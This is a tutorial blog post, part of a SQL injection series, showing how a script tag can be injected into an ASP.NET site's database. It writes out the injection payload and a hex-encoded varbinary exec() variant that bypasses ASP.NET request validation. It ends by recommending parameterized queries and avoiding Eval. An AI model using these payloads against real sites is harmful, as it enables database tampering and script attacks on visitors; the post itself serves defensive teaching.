SQL Injection, Part 4C Of 8: Bonus Material

I don’t think I’ll have room for this anywhere else, so I wanted to include a little bit of bonus material.

In my simple workbench website, I included two extra columns in my gridview:  one in which I simply Eval(“Name”) and another in which I have a label whose Text property is set to Eval(“Name”).  I wanted to show you that both of these are bad ideas, and you probably should not use them.

Setting Up An Attack

Let’s go back to our basic website, that you can see in Part 3.  I’m going to perform SQL injection to insert an evil value.  In this case, I’ll inject script code.  Here is the code I would like to inject:

insert into Production.ProductSubcategory(ProductCategoryID, Name, rowguid, ModifiedDate) values(1, '// ', newid(), current_timestamp);--

So, trying it on the page gets me…an error:

Trying to run a script tag in a textbox returned this exception.

Trying to run a script tag in a textbox returned this exception.

So ASP.NET protected the server from my malicious script insertion attempt. That’s pretty cool, and I like that. Unfortunately, there are ways around this… My favorite way is to convert the message to binary and have SQL Server do the decoding and running for me. Doing this is rather trivial. In a copy of SQL Server Management Studio, all I have to do is run the following statement:

select cast('insert into Production.ProductSubcategory(ProductCategoryID, Name, rowguid, ModifiedDate) values(1, ''<script type="text/javascript">alert("A")</script>'', newid(), current_timestamp);--' as varbinary(8000));

This converts the query I want to run into varbinary. If I were to convert the varbinary back to text and execute that text, it would perform as if I had simply entered the text to begin with. The advantage (for an attacker) is that ASP.NET doesn’t understand what’s in that binary blob, so it doesn’t realize that there’s a script tag hanging around. Here’s the code we’ll use to attack:

declare @shmooi varchar(8000); set @shmooi = CAST(0x696E7365727420696E746F2050726F64756374696F6E2E50726F6475637453756263617465676F72792850726F6475637443617465676F727949442C204E616D652C20726F77677569642C204D6F64696669656444617465292076616C75657328312C20273C73637269707420747970653D22746578742F6A617661736372697074223E616C65727428224122293C2F7363726970743E272C206E6577696428292C2063757272656E745F74696D657374616D70293B2D2D as varchar(8000)); exec(@shmooi);--

That blob of binary is equivalent to the insert statement from above. But running it on the server presents us, as expected, with more favorable results.

Using a binary blob instead of text, we can circumvent ASP.NET's Request.Form protections.

Using a binary blob instead of text, we can circumvent ASP.NET's Request.Form protections.

We can go into SQL Server Management Studio and confirm that the evil subcategory has been inserted. Use the following query to find the record:

select * from Production.ProductSubcategory where Name like '%script%';
Javascript has been inserted into our database via a SQL injection attack.

Javascript has been inserted into our database via a SQL injection attack.

The next person who searches for anything on the page that matches this—like, say, the letter “A”—will be in for a rude surprise.

The Javascript is executed, causing a popup box to appear.

The Javascript is executed, causing a popup box to appear.

This is scary.  If you aren’t afraid at this point, something’s wrong with you.  Right here, we’ve demonstrated just how easy it is to perform a cross-site scripting attack using SQL injection.  My example is more limited, in that I’m not actually performing a cross-site scripting attack, but rather simply running Javascript, but turning it into an XSS attack is not that much more difficult.

So why did this attack succeed?  We can get a good idea of the problem by looking at the bottom of the page, where our new attack subcategory is:

The two columns in which an Eval statement is used actually evaluated the Javascript code; the non-Eval label does not.

The two columns in which an Eval statement is used actually evaluated the Javascript code; the non-Eval label does not.

The first two columns are empty.  That is because they were evaluated and not simply displayed.  By performing an evaluation, you also evaluate any script inside—regardless of whether you, as the developer, intended somebody to run your script.  The third column, which is the default GridView column, simply displays the text in a label.  It does not evaluate the code, and so even though somebody injected code into the database, it was not run.

Parameterize, Man!

Just like before, a SqlParameter can protect us against this attack. Here is what our parameterized, space-limited query looks like:

exec sp_executesql N'select Name, ProductSubcategoryID, ProductCategoryID from Production.ProductSubcategory where Name like ''%@Filter%'' order by ProductSubcategoryID;',N'@Filter nvarchar(50)',@Filter=N'boof''; declare @shmooi varchar(8000); set @shmooi '

Because there are only 50 characters allowed, the attack would fail. But more importantly, we made the query completely safe, so instead of looking for “boof” and then running the attack code, it tries to look for “boof’; declare @shmooi varchar(8000); set @schmooi ‘ as one of our product subcategories. No records are returned and the attack code, obviously, is not run.

Conclusions

Again, parameterize your queries.  It will save you so much headache and hassle.  In addition, I recommend not using the Eval functionality, and instead loading your labels and other form fields in the codebehind.  That way, even if somebody does sneak something evil into your database, it won’t run the way the bad guy expected.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s